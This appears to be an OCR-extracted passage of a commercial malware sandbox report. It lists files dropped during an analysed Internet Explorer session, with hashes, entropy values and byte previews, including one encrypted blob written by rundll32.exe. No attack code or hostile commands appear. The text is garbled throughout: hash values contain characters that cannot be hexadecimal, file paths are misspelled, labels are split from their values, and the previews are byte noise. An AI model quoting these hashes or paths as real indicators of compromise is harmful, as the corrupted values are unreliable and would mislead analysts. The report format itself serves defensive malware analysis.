
MD5: 903340100CA2D44FD081FD5074FB2F9D

SHA1L: F3247ADCF7A16C7B64B13D0481509E8DC80D80F6

SHA-256: 039A6BD30A5F6B3EE38531A861D393FDFA1764C461A83A0A55COECACB20563F9

SHA-512: 2F147E18C4CC6B9CFA26015AB40553DEEB967CE18DCF7EC65009FBOEBF515FD60FFCED80D3445293D35908FADC71549411BFB135B1C0A7847B014A8E570735|
3

Malicious: false

Reputation: unknown

Preview:

..kU..J.%..Kw.4...8.1.c#.b.

C:\Users\user\AppDatal\Local\Microsoft\Windows\INetCache\IE\PSUEOSZZ\AAOQ1gt[1].jpg

Process: C:\Program Files (x86)\Internet Explorer\iexplore.exe

File Type: JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 300x250, frames 3

Category: dropped

Size (bytes): 11343

Entropy (8bit):  7.9059134105071625

Encrypted: false

SSDEEP: 192:QtN9sDIRIWwWS5YX1VSCDzfeO8NQ5kNHclcdeBPg4JIB17h9XnROtHIB94Aw:+N9yIR15YFVS2feg5kNJIPRIR36HIY Aw

MD5: 75EDC68DCOF0929145FEFFOFF048737A

SHAL: 989C5C46190FCBB6A0737472A77BC7664A6B710A

SHA-256: 2BAF3F2176C9377EB292BA964A3C4999573C0DA73C2A4A0F6ABC6887ES8AB1ED

SHA-512: 42CE92E7BE14E1EAOEA7CCB71B434FD50D282906219EED3F84A423831F59606B48EDCEFAD3AF32AF4040ECB804D20FAB7AB60D13A817623EC9024D18D32FEE
F7

Malicious: false

Reputation: unknown

Copyright Joe Security LLC 2021 Page 37 of 149



C:\Users\user\AppDatal\Local\Microsoft\Windows\INetCache\lIE\PSUEOSZZ\AAOQ1gt[1].jpg

Preview:

...... JFIF e e s )10.)-,3:3536F 7,-@WAFLNRSR2>ZaZP JQRO.......&..&05-5000000000000000000000000000000000000
00000000000000. Yo MIA.Qaq.2... #B...R..$3bT....... %&'()*456789: CDEFGHIJSTUVWXY Zcdefghijstuvwxyz........
W.....l1.AQ.aq."2...B.... #3R..br...$4.%. .. & ()*56789:CDEFGHIISTUVWXY Zcdefghijstuvwxyz.........
e 2.B2.3.80 L.b3d}..4:Y..".$.>n o Z.@..2..@b2"c..mC.
.3..He.}..jbl....RCg?%.k...5P E}.h....U..1.IP"L\dtD.....

C:\Users\luser\AppData\Local\Microsoft\Windows\INetCache\IE\PSUEOSZZ\AAOQAVF[1].jpg

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHA1L:
SHA-256:
SHA-512:

Malicious:
Reputation:

Preview:

C:\Program Files (x86)\Internet Explorer\iexplore.exe

JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 206x250, frames 3
dropped

9246

7.930440504670989

false

192:Qonz50BDn583+Zi/BpePkna3+uuuXEI9yfPIBNO2iOhY3vy:biBLS/BpeXXP9yfPtsON
6C839A1068FC78575437BDFBBE2E7CF8

60D1441B6400D2F47303EB2E47431BD681D4D6D6
8ABBE5DCFBBCCA3144D44AD8BEIB2EADIAFA7DF876DCIBCBIBOAF42E72DDA8IL

D1D3CB72DB5EF6BB757B1EC97D73E5D74319CBB80E1E1D4797B6860746768304E01BD04ADCB1BF4690F562B370CD1D31C6C8A335245E13E89B4D9BOECOBAD
98

false

unknown

.)10.)-,3:J>36F7,-@WAFLNRSR2>ZaZP"JQRO....... &..&05-50000000000000000000000000O0O00OO0O0000

Lforan 7W3.0 sb. L (WU s < T <w & e e 4.2, )..,..@.a.C.m..2..R.h%I.Gj.b.(\..p.$PtF.d....>
..#.0...FX.9.~4<h*b...w.M.V.08.. .RB.i.lf..V,..Zg.E$.0r.N..-].,G.R..5b...7?Z..[.).;T.\L9..Q...H..J.1.67.h.4[MS"u.76. .EQ.4E...*r1..-.Y . jo.=-.0..d.Eq.... K
i1$8=j...u...."3.... #..P.G&..Cj(4..V..{..

C:\Users\luser\AppData\Local\Microsoft\Windows\INetCache\IE\PSUEOSZZ\AAOQjSz[1].jpg

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHA1:
SHA-256:
SHA-512:

Malicious:
Reputation:

Preview:

C:\Program Files (x86)\Internet Explorer\iexplore.exe

JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 311x333, frames 3
dropped

14452

7.901845030949572

false

384:NDL93z2WTW6289105Q6KGsBzcHKIRhNgk1ABOjjRAXg/:NDRD2K715Q63sJek6hNXAyZC/
73AE1427BC3BA9C1CC8325C1CFE8189B

3321E86DB948C6AB84F2FBAAOF55BC340CEGSEOL
F8BFBA294737272EC81C794923F39185C207F174BC2F771CB17080CFEA9C776E

87AACAF1E512BCDODA2FOE0756DB62FC4457429CFFFFCDDF8891D09B35AE3C64633CF6A0BF58C99B09DEO11B1AGA906752AF0FOE8SD7980DF08039D0EF28F5(C
1A

false

unknown

C:\Users\user\AppDatal\Local\Microsoft\Windows\INetCache\IE\PSUEOSZZ\AAOQkwo[1].jpg

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHAL:
SHA-256:
SHA-512:

Malicious:

Reputation:

C:\Program Files (x86)\Internet Explorer\iexplore.exe

JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 206x250, frames 3
dropped

9808

7.9333291002445225

false

192:Qodovs2B2caidegkxw5nl/HNiIHPVS35PVbk8XJIKUTvEsAej/4IJnXMwOk4c:bW3d1kxwll/GPA5dbk8Z7rmeUJIXMwcc
9791CF436B282DADD14635A67315BD2D

CA19E1FA8317E178EFD8416218CFDADFF02E25D6
4A00417F55327FACDB84AD2D1EBE6D34CC5C7C5682DFA1C928E4A5B90DCF0965

744DE157E4AOAAOCADD90CA9303AFC8099F740D7F50F8E9E360C0090F63A2ADFEED4257EA7TFACA7253AC07ACA76EE0258DAFC582578DE28130EB9622D539A
EA

false

unknown
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C:\Users\user\AppDatal\Local\Microsoft\Windows\INetCache\lIE\PSUEOSZZ\AAOQkwo[1].jpg

Preview:

........................................................................... ?.k.S...%\..L.x..9..2\..6..M..GS.I...p9".......r....s0a..c...4\.Q.bWX..h..9..x.e"..&EY\IT.h.s.kDCEh..t@.g0..@&.@....0..,...b;..9..
J$s.’u.....0.4..1._. {.4p"y..W3q ...2./B.TH...>.Y3tR....W........ dl...G<.=. ..h..l4fy*Q#H.h...M...a.=.4.}.sv0.. .}i..j...db..J.%..V3...(.Q..+.W.P&....... @j.._i...M.>..adi...y.x
5...riyFc.Q.c.l......1.$/aM.N...@.dN3.<U\..TX.

C:\Users\luser\AppData\Local\Microsoft\Windows\INetCache\IE\PSUEOSZZ\AAOQIxV[1].jpg

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHAL:
SHA-256:
SHA-512:

Malicious:
Reputation:

Preview:

C:\Program Files (x86)\Internet Explorer\iexplore.exe

JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 622x368, frames 3
dropped

51132

7.959704897632045

false

768:1Vgh+i49S8wsQ/CtCh/cMa2yda89nNPkasJwmCwytkn TSCWP1VdseSjJgxI9Q:IQhLplfwMZyasFawOytkaP1V6eSjC
3B4A236583736CCF43FB7A8BF8791ED6

FAAB9CI89E2AA382FF46453E7A6975BA3377F5B7
3EDEBD740635ADF8D8F5A8822107E050C9E16DB6F3B32E3EF1AFCEEF85740602

8B6BBAES2ED9408F9065F336DAF5ED33B06102499280857286FB916CF5522A912BE81A4648BBF49D0E07241013EF26AC7DAEF24686FD9A2FSEBS5CB1BFOEIBCF
8

false

unknown

i.bl..R\.3a&.6.EVU...&..0.2...1...@...L

C:\Users\luser\AppData\Local\Microsoft\Windows\INetCache\IE\PSUEOSZZ\AAOQnO0S[1].jpg

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHA1:
SHA-256:
SHA-512:
Malicious:
Reputation:

Preview:

C:\Program Files (x86)\Internet Explorer\iexplore.exe

JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 311x333, frames 3
dropped

11229

7.822604515817274

false

192:Q26kHV3CLFO3gldmPT6XuTVefQXCV8GO5Dav64Sk9VLOCIMSLepg2GD:NnHVy4Z7Ve4XCy5Dav64SsLDhLeyd
452D004587ECFC584EB3AD47A289D31D

B14822BC2669C29B54B059093DD5FFBC46105719
E4D56EDBOCB3CEC76D8704797F1DA946AE8F7C37F59A1EB375BFC36212378297
CF9D9863418919AA46B017D6387D6BAB769E45EB9562124A6641FCO9E3EFFAA81B26ACE236412F38C38972F99530355BEE010BA45666B2CDBCDF3D5C868620B!

false

unknown

................. W.
AWF....Civorrrrnnnn.
{G.P.8aRj @.bE}..AM..D.T..J... .P).V(.(...1@...1H
Hb..\P..1H.0.R..-0.1H..b..(....a@....

C:\Users\luser\AppData\Local\Microsoft\Windows\INetCache\lE\PSUEOSZZ\BB10MkbM[1].png

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHAL:
SHA-256:
SHA-512:

Malicious:

Reputation:

C:\Program Files (x86)\Internet Explorer\iexplore.exe

PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced

dropped

936

7.711185429072882

false

24:1JJuYNKuUGIZLocJZIxAgAbiuoSrZzi1g3+:1In94F/IXAZiuoSNYgO
19B9391F3CA20AA5671834C668105A22
81C2522FC7C808683191D2469426DFC06100F574
3557A603145306F90828FF3EA70902A1822E8B117F4BDF39933A2A413A79399F

OE4BA430498B10CE0622FF745A4AE352FDA75E44C50C7D5EBBC270E68D56D8750CE89435AE3819ACA7C2DD709264E71CE7415B7EBAB24704B83380A5B99C66
C

false

unknown
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C:\Users\user\AppDatal\Local\Microsoft\Windows\INetCachellIE\PSUEOSZZ\BB10MkbM[1].png

Preview:
PNG........ IHDR................ a..pHYs.......... +....ZIDATX.m._hSW....2...E..U.Z.M..a.1}P..6+....I....LDA.....u.a.U..P..&k..1z...&....R_.q.=p8....~."...5..}......_ISFS.\.c][4#...
...... +.U@fZz.Y......|.7...rx.S.2.ws....B9.P.-Yt*.N.}.'V.....G...5....uc....XV.={..ai.pw.v)...(.9.2\|.3:Q..,gr.es...ZTp..Mt.iB.2 {w.C*WB..F...b../.H.\..*.).0L.R......C.......@S5.?
3..9....8.2...p.=6"..T...5.nn.......]..b.j.,.pf.....8..".M..2.@K...L.=".1.0.2Kb.p..(.\.D....... N0l WAbR..WL)LLLLMmL6t.7....U.Y3?.h=.l.<.._......pL.V'].......
{[P....e07..Wc...IHT@...*.AQ@....... ;o >Gt&.. )0, KP..7TW1.sm~...&....... 00....>.. 1 #L....2...L_Owu.* A)...-w.* 1/+.).. XR.A#. . X...p..3L...H....f.ok..]x..L.LRA\W.H\...<..
<& MImk|....%.<..,.%.9..9..G@2Q..I...T.D"..G.&v6%$.J.2J....~..Y\KX j.......C.&>3.......... ek..+..~B.\.....IEND.B".

C:\Users\luser\AppData\Local\Microsoft\Windows\INetCache\lE\PSUEOSZZ\BB15AQNm[1].jpg

Process: C:\Program Files (x86)\Internet Explorer\iexplore.exe

File Type: JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 622x368, frames 3

Category: dropped

Size (bytes): 29565

Entropy (8bit):  7.9235998300887145

Encrypted: false

SSDEEP: 384:11cMsjB7+C2bbAEB2SUZRT+kXoMRRJhp5xvHaplzf7m41tgaYi9PIVKNHNVMP2Nm:IHsjkC2YEB2SUPTT48FPHTgf3VKn2Uc

MD5: 6B79D1438D8EFAF3B8DE6163107CEC71

SHA1L: E54E651A8A0FDAFCAD60B137D806D8CEC2F769C0

SHA-256: 2F00C9B0OC23EE995091A90ACCT7A8BFA3AAT73612A464F558D78664636C8B7B8D8

SHA-512: 745B822F9E21DB98B909F3AE762C439C376A35AD5C08655861B05539ACD5C47BCDCF24FAB2FB5A56712BC3BEDE6493FD5152E92D065AC5E9ECCE2DF93C4B7
B7

Malicious: false

Reputation: unknown

Preview:

................................ 2.(nAM)4.0.4.0.Cu pi....dRe#I.\.1.DC3.). L W.H#. &....-82.".&.(I..y...I...CE.7..N(#.....t.E....H b

.5 .r.4&R.>F..

TA4.Xx8$.+._.<{TcalN$q.ZR'q...Y........ ALd...(HM....Z#2b.u40 .. J.F j.*.Fy."h..g.&..+H.$2.. A...N.c.L. . .c..<Qa.[. -.v....-..xg.K.e+.'5[....
C:\Users\luser\AppData\Local\Microsoft\Windows\INetCache\IE\PSUEOSZZ\BB1gv1EL[1].jpg
Process: C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type: JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 622x368, frames 3
Category: dropped
Size (bytes): 56894
Entropy (8bit):  7.977643789052879
Encrypted: false
SSDEEP: 1536:1ABszzwUcxFcShWQFYX6UNcvY QL+w+g78VVBDqupk:LB6wUc/xbWmUqvYQcgwlg
MD5: D82303F1F81C7EOE2C1A807402A7AC69
SHA1L: 06879BA23DB7F262269451447D15339D85611413
SHA-256: 28FDE7478EA18B67C2D932CF708F5CC2AE07CCB716B499AC5C9C2309A9A527F9
SHA-512: 28A68F3D397E816FD8C0980BFC63FBD1A4E62FA40E0A8B943963A75188A53AA24CD118B696E9EA098422000D3C224C2234E12B0629DFOESA5D0ES53D90C637948E
Malicious: false
Reputation: unknown
Preview:

C:\Users\luser\AppDatal\Local\Microsoft\Windows\INetCache\lE\PSUEOSZZ\BB7gRE[1].png

Process: C:\Program Files (x86)\Internet Explorer\iexplore.exe

File Type: PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced

Category: dropped

Size (bytes): 501

Entropy (8bit):  7.3374462687222906

Encrypted: false

SSDEEP: 12:6v/71zYhg8gNX8GA3PhV8xJy4eOsEfOZbLjz:u809A/hSJI9lfkbb

MD5: 1FCA95AEED29D3219D0A53A78A041312

SHAL: 5A4661CCF1E9F6581F71FC429E599D81B8895297

SHA-256: 4BOF37A05AB882DA679792D483B105FDD820639C390FC7636676424ECFD418B9

SHA-512: 7E02CEB4A6F91B2D718712E37255F54DA180FA83008E0CE37080DADFE8B4DOD50BCOEA8657B87003D9BAD10FA5581DBB8C1C64D267B6C435DA48CBED3366C
EA

Malicious: false

Reputation: unknown

Preview:
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C:\Users\user\AppDatal\Local\Microsoft\Windows\INetCache\lIE\PSUEOSZZ\BB7gRE[1].png

C:\Users\user\AppDatal\Local\Microsoft\Windows\INetCache\lIE\PSUEOSZZ\BB7hg4[1].png

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHA1L:
SHA-256:
SHA-512:
Malicious:
Reputation:

Preview:

C:\Program Files (x86)\Internet Explorer\iexplore.exe

PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced

dropped

470

7.360134959630715

false

12:6v/7TIG/Kupc9GcBphmZgPEHfMwY 7yWQtygnntrNKKBBN:3KKEc9GcXhmZwMILtyGIKKBBN
B6EA6C62BAEBF35525A53599C0D6F151
AFFEFB243AAEC286D37B855FBE33C790795B1896
71CC7A3782241824ACDC2D6759E455399957E3C7C9433A1712C3947E2890A4D4
OE4E87A66CF6E01750BC34D2D1EC5B63494A7F5C4B831935DD00E1D825CDB1CFD3C3E90F29D1D4076E7F24C9C287E59BE23627D748DB05FB433A3A535F1154
false

unknown

IDATX..QKN.A....(..1a.....p...0..T.....
foHvm.. ... b.K.3....R.u..Z"2.$.B..L.r..H.1..MN).c.K1H.......... t..90 d.$.
.gT.=B.|..,.=v....... G..c.5....IEND.B".

.$.n\L.V.C b2....... ge'.T.1.1h8./....$:Y6..w}_>...P.o$.n... X <..R.y..$p.P.c\7.
8.8@t._...1.".@C....i&Z.".AL..l..R...}W.E4.| .N...b..(AVH......j....s..h. .9.pl...

C:\Users\luser\AppData\Local\Microsoft\Windows\INetCache\lE\PSUEOSZZ\BBK9Ri5[1].png

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHA1L:
SHA-256:
SHA-512:

Malicious:
Reputation:

Preview:

C:\Program Files (x86)\Internet Explorer\iexplore.exe

PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced

dropped

438

7.224970477165128

false

12:6v/7DHWYILf3BNIURtET7SKaLKi8vF+p4GicEO4tec:JaZnP6SKYCGTStec
133F2266453E52C992FCESBE6BA0267E
DF9F2F28B95569AD49D5407F22C0B512EF7A96A7
B596D2F94A5FB5DFDBED2C96E2503BD4A59AFFF13CDBA5S64780C26430116C998

9BOBEB65C47693A0CDFA390E54726A0B65D5CEG602E45BBACFD60DA2CC2E7BID7814A639F1B3A02707AEC324BD709822654E4B29C5CB85CCDABO3A7E451034
9E

false

unknown

hIDATX....JCA.WQ..0..."..B.-}.I,R..Al..ZK).H..+. V'be....? (A...,.2......SUN..| 8.0.97N..+.W.E..0@...F-d.....V......
.DBt#!...h.q.....0..d.LS...Bd.X.=.M<.. ... 116d..X. N...k.M....w.).MAX3..".,.0... f1t.@._1.....9.5.5Q.Cco..P.oi Y. L) X2, K 3...Y..0.8.X... #KO.b..H.94.1#...+..Q...3P.R.
k.Z7..0=.......YM........[END.B".

C:\Users\luser\AppDatal\Local\Microsoft\Windows\INetCache\IE\PSUEOSZZ\BBY7ARN[1].png

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHAL:
SHA-256:
SHA-512:
Malicious:
Reputation:

Preview:

C:\Program Files (x86)\Internet Explorer\iexplore.exe

PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced

dropped

779

7.670456272038463

false

24:dYsfeTalfpVFdpxXMyN2fFIKdko2boYfm:Jf5ILpCyN29IC5boD
30801A14BDC1842F543DA129067EA9D8
1900A9E6E1FA79FE3DF5EC8B77A6A24BDIF5FD7F
70BB586490198437FFE06C1F44700A2171290B4D2F2F5B6F3E5037EAEBCI68A4
8B146404DEOC8E08796C4A6C46DF8315F7335BC896AF11EE30ABFBO80ES564ED354D0B70AEDE7AF793A2684A319197A472F05A44E2B5C892F117B40F3AF938617

false

unknown

PNG........ IHDR.........cco a....pHYs.......... Foon IDATX.eSMHTQ...7.0.8#3.0....M.BPJDi..*.E..h.A...6..0.Z$..i.A...B....HO*.r..F.y:?...90./......=J..h. M]f>.l..d..V.D..@....T..5".
..... @..PK.6... #,....08.U* 1] @...45.3%..&.....%V.B.W.Fc.....'B...7...B..0.#2..J. >.F.Ch..(U&\..O.5+..,]Z.W..5.>.|_......U$D..CP.<...]\W..4..~...Q....._...h...L.... X {i... {.
&W.L.. .S W....W.."..S.pu..).=2.C#X..D.......}.$.. H.F}L.f..8..5........2.S.LL..'&.g.....j.#....0H..EhG"...".p..Ei...D..T.fP.m3.CwD).q........ X....2..+..2...WPyW. . j......$..1....... IW*u

*e"..Q.N#.q..kg...% W.-.0..2..CO k.....&..0..@{. k.J._..)X.4)x...ra.#....i._1..f.}..2.&J. " .@%$. ON.t....... D....iL..d/[Or.L._..;a..Y.]i._J...IEND.B".

C:\Users\user\AppDatal\Local\Microsoft\Windows\INetCache\lIE\PSUEOSZZ\a5ea21[1].ico

Process:
File Type:
Category:

C:\Program Files (x86)\Internet Explorer\iexplore.exe
PNG image data, 32 x 32, 8-bit/color RGB, non-interlaced
dropped

Copyright Joe Security LLC 2021 Page 41 of 149



C:\Users\user\AppDatal\Local\Microsoft\Windows\INetCache\lIE\PSUEOSZZ\a5ea21[1].ico
Size (bytes): 758
Entropy (8bit):  7.432323547387593

Encrypted: false

SSDEEP: 12:6v/792/6 TCfasyRmQ/iyzH48qyNkWCj7ev50C5qABOTo+CGB++yg43gX4b9uTmMI:F/6easyD/iCHLSWWqyCoTTdTc+yhaX4v

MD5: 84CC977D0OEB148166481B01D8418E375

SHA1L: 00E2461BCD67D7BA511DB230415000AEFBD30D2D

SHA-256: BBF8DA37D92138CCO8FFEEC8E3379C334988D5AE99F4415579999BFBBB57A66C

SHA-512: FA7A507077F9173FB07EC200C2677BA5F783D645BE100F12EFE71F701A74272A98E853C4FAB63740D685853935D545730992D0004C9D2FE8SE1965445CAB509C3

Malicious: false

Reputation: unknown

Preview:
PNG........ IHDR... .o o PHYS oo VPAG... ce e elDATH...0.@../.MT..KY..PI9"....:UjS..T."P.(R.PZKQZ.S. ...,v2 ... .9/t..K..;_}....~.gK..i;B..2..C..B.......<
...CB.....).....;..Bx..2.}. . >wW!.%B. .{.d...LCgz..j/.7TD.* M.*............. "HK..j%.!DOf7......C.]._Z.f+..1.1+,;.Mf....L.:Vhg..[.. ..O:..1.a....F..S.D...8<n.V.7M....cY@....... 4.D..kn%.e. A.@
IA.>\.Q|.N.P........ <l..ip..y.U...J..9..R.mgp}vwn.f4$. . X.E.1.T...2......wz..U..../[...Z..(DB.B(....m....... B.=m.3....X..p..Y.......w.<......8..3..0...(.l.A.6f.g.xF..7Th.Gmq
|....0z_Z..X.0F.......... X..=Y},jT..R.....72w/...Bh..5..C...2.06 ........ 8@A..."zTXtSoftware..x.sL.OJU..MLO.JML.../.....M....IEND.B".

C:\Users\luser\AppData\Local\Microsoft\Windows\INetCache\lE\PSUEOSZZ\a8a064[1].gif

Process: C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type: GIF image data, version 89a, 28 x 28

Category: dropped

Size (bytes): 16360

Entropy (8bit):  7.019403238999426

Encrypted: false

SSDEEP: 384:92SEiHys4AeP/6ygbkUZp72i+ccys4AeP/6ygbkUZaoGBm:g2Tjs4Ae36kOpgi+c/s4Ae36kOaoGm

MD5: 3CC1C4952C8DC47B76BE62DCO76CE3EB

SHA1L: 65F5CE29BBC6EOC07C6FECIBI6884E38A14A5979

SHA-256: 10E48837F429E208A5714D7290A44CD704DD08BF4690F1ABA93C318A30C802D9

SHA-512: 5CC1E6F9DACAICEAB56BD2ECEEB7A523272A664FESBEE4BBOADASAFI83BA98DBABECF3848390DF65DA929A954AC211FF87CE4DBFDC11F5DFOC6E3FEABAS7
40EF7

Malicious: false

Reputation: unknown

Preview:
GIF89a.......dbd. /.1.8..°(.di.h..l..e.
nQum 3l
.B*%.di.h..l.p,.t]S... SRR = 3N [ o T N e RN
LEBLHLLNLLLL 1. T.%...@.UH...z.n...
Inl......... jl.....dfd..........

C:\Users\luser\AppData\Local\Microsoft\Windows\INetCache\lIE\PSUEOSZZ\c2cdec4e-bb8a-4f70-befc-5685d78a3a34[1].jpg

Process: C:\Program Files (x86)\Internet Explorer\iexplore.exe

File Type: JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, baseline, precision 8, 300x300, frames 3

Category: dropped

Size (bytes): 70249

Entropy (8bit):  7.97806731305988

Encrypted: false

SSDEEP: 1536:052ZJjT/qHJlYP53JynXV/+BjjHMTIUWZ+HKOWThjzSYVZKYrA:L2ZJj2plyP3JynXV/+Y4q+kOwT5hVd8

MD5: 96A5780089597E4C3AB3026C93B1916F

SHA1L: 3C0B24A0CBB9E4953DA418AB5C173444DB73B82E

SHA-256: C3E70ED771BBE36197786CB56FE9158F597A139DA4077976D30F6470486C95E1

SHA-512: B209B11B620F767E98ABA9E4ADCD3CA75035B964F4F87E6A65FD5E1E2C4BC32C5104A7F59DF87CB6BB76454505459D5BAA378EA4C5D842B332743CES5CESAFF
7

Malicious: false

Reputation: unknown

Preview:

.1A."Qa.2q.#.....B...3R....$.Sbr..CD.4Tt. .
ey bl GLLOK.5 .............0.h. {o.n..>. ].dDsm.N.{|G.h....
+I. Koo YAV (R _.._.0_{o0.d.l.%..2.}=

.......... V.W..b7.;nS.. tV..L
....... t...0 7. h...d..1..b{w.3..j.i.

C:\Users\user\AppDatal\Local\Microsoft\Windows\INetCache\lIE\PSUEOSZZ\cfdbd9[1].png

Process: C:\Program Files (x86)\Internet Explorer\iexplore.exe

File Type: PNG image data, 27 x 27, 8-bit/color RGBA, non-interlaced

Category: dropped

Size (bytes): 740

Entropy (8bit): 7.552939906140702

Encrypted: false

SSDEEP: 12:6v/70MpfkExg1JOT5FINRIYX1TEdLh8vI542irJQ5nnXZkCa0jocMgL17jXGW:HMuXk5RwTTEovnOAXZMitL9aW
MD5: FE5E6684967766FF6A8AC57500502910
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C:\Users\user\AppDatal\Local\Microsoft\Windows\INetCache\lIE\PSUEOSZZ\cfdbd9[1].png

SHA1L:
SHA-256:
SHA-512:
Malicious:
Reputation:

Preview:

3F660AA0433C4DBB33C2C13872AA5A95BC6D377B

3B6770482AF6DA488BD797AD2682C8D204ED536D0D173EE7BB6CEBODA79A2EAT
AF9F1BABF872CBF76FC8C6B497E70F07DF1677BB17A92F54DC837BC2158423B5BF1480FF20553927ECA2E3F57D5E23341E88573A1823F3774BFF8871746FFA51
false

unknown

tEXtCreation Time.07/21/16.~y....<IDATH..;k.Q....;.;..&. #...4..2...

WV, Xe~{].C &S mLLLSMF3.IW,e.%. x.,..c..0.*V...W.=0.uv.X...C...3"...5.....C.oucurrrnn 2]EO....M..N...[..]5.&...9.25]H....df ...I...
Ueouy.8".5..0. 0 Ze 0.t..G.."..3.H..Y....3.G...v..T...a.&K D........ M..9...ek.kP.A."2....k...D.}.\...V%.\..vIM..3.1....8.S.P........9....yL.<..9...
.Rel.-@........ +.a.*x..0....Y.m.1.N.Il..V."..;.V..a.3.U....,.1c.-.J<..q.m-1..d.A.d.".4.k ...SL.....IEND.B".

C:\Users\luser\AppData\Local\Microsoft\Windows\INetCache\IE\PSUEOSZZ\otBannerSdk[1].js

Process:
File Type:
Category:
Size (bytes):

C:\Program Files (x86)\Internet Explorer\iexplore.exe
ASCII text, with very long lines, with CRLF line terminators
dropped

374818

Entropy (8bit):  5.338137698375348

Encrypted: false

SSDEEP: 3072:axBt4stoUf3MiPnDxOFvxYyTcwY+OiHeNUQW2SzDZTpl1L:NUfbPnDxOFvXYyY+Oi+yQW2CDZTn1L

MD5: 2E5F92E8C8983AA13AA99F443965BB7D

SHA1L: D80209C734F458ABA811737CA9EOALEAF75F9BCA

SHA-256: 11D9CC951D602A168BD260809BOFA200D645409B6250BD8E8996882EBE3F5A9D

SHA-512: A699BEC040B1089286F9F258343E012EC2466877CC3C9D3DFEF9D00591C88F976B44D9795E243C7804B62FDC431267E1117C2D42D4B73B7E879AEFB1256C644E

Malicious: false

Reputation: unknown

Preview:
/** .. * onetrust-banner-sdk.. * v6.13.0.. * by OneTrust LLC.. * Copyright 2021 .. */..!function(){"use strict";var o=function(e,t){return(o=Object.setPrototypeOf||[{__proto__:[]}in
stanceof Array&&function(e,t){e.__proto__=t}||function(e,t){for(var o in t)t.hasOwnProperty(o)&&(e[o]=t[o])})(e,t)};var r=function(){return(r=Object.assign||function(e){for(var
t,0=1,n=arguments.length;o<n;o++)for(var r in t=arguments[o])Object.prototype.hasOwnProperty.call(t,r)&&(e[r]=t[r]);return e}).apply(this,arguments)};function a(s,i,l,a){ret
urn new(I=l||Promise)(function(e,t){function o(e){try{r(a.next(e))}catch(e){t(e)}}function n(e){try{r(a.throw(e))}catch(e){t(e)}}function r(t){t.done?e(t.value):new I(function(e){e
(t.value)}).then(o,n)}r((a=a.apply(s,il|[])).next()))}function d(o,n){var r,s,i,e,|I={label:0,sent:function(){if(1&i[0])throw i[1];return i[1]},trys:[],ops:[]};return e={next:t(0),throw:t(1)
Jreturn:t(2)},"function"==typeof Symbol&&(e[Symbol.iterator]=function(){return this}),e;function t(t

C:\Users\user\AppDatal\Local\Microsoft\Windows\INetCache\lE\WJ8120L4\6 QKNHMCJEE[1] E

Process: C:\Windows\System32\rundlI32.exe

File Type: data

Category: dropped

Size (bytes): 293376

Entropy (8bit): 7.999350720123708

Encrypted: true

SSDEEP: 6144:tsfQ0gZqMagaKsWW+yPR7E5WVDrPoFHERJaBxtldb3Rk9YpqTkuHb:t4Q0gdag4KsWh5WVDrPoeRkJIRpqf7

MD5: 173778CAD761D08CD5951589D53654A6

SHA1L: ES5FBA589794B69AFED8D82289AF99CCO08E72E48

SHA-256: F3E01066FFDC1B836A645AA17CB156E129050223508837A37ADD74D13A6D99C8

SHA-512: 933676FCB24290E3A5F71BF01A881BFF02DF94974857B2774B0040154C3930E54940DBB755F5FA49CEA29DB15223D3A37EBAG82206F51966A965C0F962132C8A

Malicious: false

Reputation: unknown

Preview:

KVX.E..,2[.A.*..F..8a.Zn..H..*.Z C-C..>sn@.9.>.:+.c.gZ.).x.Ga.D.6....i. +.jbX.ygp..;.e...{."B@X.a..h.0"...2.".~..1. J.B.....)..|..spSaz.... ~..B.)Oe.

. ...D...2...3iK/|@...0. dv..&)=a.&.}./=.q..S.Q..
.haCzN3....2.".gR.=....P5. . .E..".l.p..X.m..Zt5nC...%...~%.{.. "9..E..?.
..... c....nhg.5N[p..p..#.;.}JM._yp...an..Bl..).+F..s.0{...4. . E\M*x.. #"....ABe#..~.

C:\Users\user\AppDatal\Local\Microsoft\Windows\INetCache\lIE\WJ8I20L4\AANuZgF[1].png

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHAL:
SHA-256:
SHA-512:
Malicious:

Reputation:

C:\Program Files (x86)\Internet Explorer\iexplore.exe

PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced

dropped

750

7.653501615166515

false

12:6v/7Wrv0Y7COhH4wY 2zKLIIsmUhrpBO2KYMYVv7LLMVjcSOmMNUfozbbj3rtpQd3HO:xrcY OEV3KLXfIBOIMYjHMVIOmKozbH3hv
93D77F5C5FFACEBA12A1ABFC6190B947

8001474A7342EBF760C66F1C30E48E32E00F2AF3
